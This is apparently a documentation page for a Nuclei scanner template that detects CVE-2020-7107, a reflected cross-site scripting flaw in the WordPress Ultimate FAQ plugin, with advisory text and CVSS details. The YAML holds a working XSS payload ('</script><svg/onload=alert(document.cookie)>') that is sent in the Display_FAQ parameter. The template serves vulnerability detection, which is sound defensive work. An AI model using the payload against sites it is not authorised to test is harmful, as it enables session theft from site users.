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WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting

ID: CVE-2020-7107

Severity: medium

Author: theamanrawat

Tags: cve,cve2020,ultimate-faqs,wpscan,xss,wordpress,wp-plugin,wp,etoilewebdesign

Description

Section titled “Description”

WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2020-7107


info:
  name: WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: Fixed in version 1.8.30.
  reference:
    - https://wpscan.com/vulnerability/5e1cefd5-5369-44bd-aef7-2a382c8d8e33
    - https://wordpress.org/plugins/ultimate-faqs/
    - https://plugins.trac.wordpress.org/changeset/2222959/ultimate-faqs/tags/1.8.30/Shortcodes/DisplayFAQs.php
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7107
    - https://wordpress.org/plugins/ultimate-faqs/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-7107
    cwe-id: CWE-79
    epss-score: 0.00395
    epss-percentile: 0.73354
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etoilewebdesign
    product: "ultimate_faq"
    framework: wordpress
  tags: cve,cve2020,ultimate-faqs,wpscan,xss,wordpress,wp-plugin,wp,etoilewebdesign
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /wp-content/plugins/ultimate-faqs/readme.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - 'Ultimate FAQ'
          - 'Tags:'
        condition: and


  - method: GET
    path:
      - "{{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'</script><svg/onload=alert(document.cookie)>"
          - "var Display_FAQ_ID ="
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100896bd76a15df774856ae1bad4c8af64b8b0220f0380847389a58065f0f5ab5d9022100e7eda17e017cde9c1fb956b344d98d48634deab4106d33f274899da1c9a4480b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-7107.yaml"

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